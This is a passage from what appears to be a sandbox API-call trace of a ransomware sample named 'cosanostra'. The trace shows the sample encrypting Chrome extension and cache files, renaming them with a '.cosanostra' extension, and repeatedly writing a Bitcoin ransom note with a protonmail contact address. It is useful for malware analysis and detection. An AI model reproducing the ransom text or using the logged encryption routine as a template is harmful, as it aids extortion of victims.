Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 155 [0084.611] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.612] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0084.613] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.613] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x28dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0084.613] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.615] WriteFile (in: hFile=0x188, lpBuffer=0x28dfcdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x28dfcdc*, lpNumberOfBytesWritten=0x28dfc9c*=0x4, lpOverlapped=0x0) returned 1 [0084.616] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfc9c*=0x30, lpOverlapped=0x0) returned 1 [0084.616] CloseHandle (hObject=0x188) returned 1 [0084.616] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.cosanostra") returned 166 [0084.616] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.cosanostra")) returned 1 [0084.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.617] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.617] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb77*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd38, lpOverlapped=0x0 | out: lpBuffer=0x28dfb77*, lpNumberOfBytesWritten=0x28dfd38*=0x1bf, lpOverlapped=0x0) returned 1 [0084.618] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.618] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd38, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd38*=0x2ac, lpOverlapped=0x0) returned 1 [0084.618] CloseHandle (hObject=0x188) returned 1 [0084.618] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfcd8 | out: pbBuffer=0x28dfcd8) returned 1 [0084.618] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcd0*=0x30) returned 1 [0084.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.619] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 155 [0084.619] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.619] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc94, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfc94*=0xd9, lpOverlapped=0x0) returned 1 [0084.620] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff27, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.620] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd9, lpNumberOfBytesWritten=0x28dfc94, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfc94*=0xd9, lpOverlapped=0x0) returned 1 [0084.620] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.620] WriteFile (in: hFile=0x188, lpBuffer=0x28dfcd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc94, lpOverlapped=0x0 | out: lpBuffer=0x28dfcd4*, lpNumberOfBytesWritten=0x28dfc94*=0x4, lpOverlapped=0x0) returned 1 [0084.620] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc94, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfc94*=0x30, lpOverlapped=0x0) returned 1 [0084.620] CloseHandle (hObject=0x188) returned 1 [0084.620] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.cosanostra") returned 166 [0084.620] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.cosanostra")) returned 1 [0084.621] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.621] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.621] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb6f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd30, lpOverlapped=0x0 | out: lpBuffer=0x28dfb6f*, lpNumberOfBytesWritten=0x28dfd30*=0x1bf, lpOverlapped=0x0) returned 1 [0084.622] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.622] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd30, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd30*=0x2ac, lpOverlapped=0x0) returned 1 [0084.622] CloseHandle (hObject=0x188) returned 1 [0084.622] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfcd0 | out: pbBuffer=0x28dfcd0) returned 1 [0084.622] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcc8*=0x30) returned 1 [0084.622] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.623] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 155 [0084.623] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.623] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc8c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfc8c*=0xd6, lpOverlapped=0x0) returned 1 [0084.623] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.623] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x28dfc8c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfc8c*=0xd6, lpOverlapped=0x0) returned 1 [0084.623] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.623] WriteFile (in: hFile=0x188, lpBuffer=0x28dfccc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc8c, lpOverlapped=0x0 | out: lpBuffer=0x28dfccc*, lpNumberOfBytesWritten=0x28dfc8c*=0x4, lpOverlapped=0x0) returned 1 [0084.624] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc8c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfc8c*=0x30, lpOverlapped=0x0) returned 1 [0084.624] CloseHandle (hObject=0x188) returned 1 [0084.624] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.cosanostra") returned 166 [0084.624] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.cosanostra")) returned 1 [0084.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.625] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.625] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb67*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd28, lpOverlapped=0x0 | out: lpBuffer=0x28dfb67*, lpNumberOfBytesWritten=0x28dfd28*=0x1bf, lpOverlapped=0x0) returned 1 [0084.625] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.625] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd28, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd28*=0x2ac, lpOverlapped=0x0) returned 1 [0084.625] CloseHandle (hObject=0x188) returned 1 [0084.626] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfcc8 | out: pbBuffer=0x28dfcc8) returned 1 [0084.626] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcc0*=0x30) returned 1 [0084.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.626] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 155 [0084.626] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.626] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc84, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfc84*=0xe0, lpOverlapped=0x0) returned 1 [0084.627] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.627] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x28dfc84, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfc84*=0xe0, lpOverlapped=0x0) returned 1 [0084.627] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.627] WriteFile (in: hFile=0x188, lpBuffer=0x28dfcc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc84, lpOverlapped=0x0 | out: lpBuffer=0x28dfcc4*, lpNumberOfBytesWritten=0x28dfc84*=0x4, lpOverlapped=0x0) returned 1 [0084.627] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc84, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfc84*=0x30, lpOverlapped=0x0) returned 1 [0084.627] CloseHandle (hObject=0x188) returned 1 [0084.628] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.cosanostra") returned 166 [0084.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.cosanostra")) returned 1 [0084.628] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfcc0 | out: pbBuffer=0x28dfcc0) returned 1 [0084.628] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcb8*=0x30) returned 1 [0084.628] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.629] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 92 [0084.629] StrStrW (lpFirst="data_0", lpSrch=".txt") returned 0x0 [0084.629] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc7c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfc7c*=0x2800, lpOverlapped=0x0) returned 1 [0084.655] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.655] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfc7c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfc7c*=0x2800, lpOverlapped=0x0) returned 1 [0084.655] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.655] WriteFile (in: hFile=0x188, lpBuffer=0x28dfcbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc7c, lpOverlapped=0x0 | out: lpBuffer=0x28dfcbc*, lpNumberOfBytesWritten=0x28dfc7c*=0x4, lpOverlapped=0x0) returned 1 [0084.655] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc7c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfc7c*=0x30, lpOverlapped=0x0) returned 1 [0084.655] CloseHandle (hObject=0x188) returned 1 [0084.656] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.cosanostra") returned 103 [0084.656] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0.cosanostra")) returned 1 [0084.656] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfcc0 | out: pbBuffer=0x28dfcc0) returned 1 [0084.656] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcb8*=0x30) returned 1 [0084.656] CreateFileW 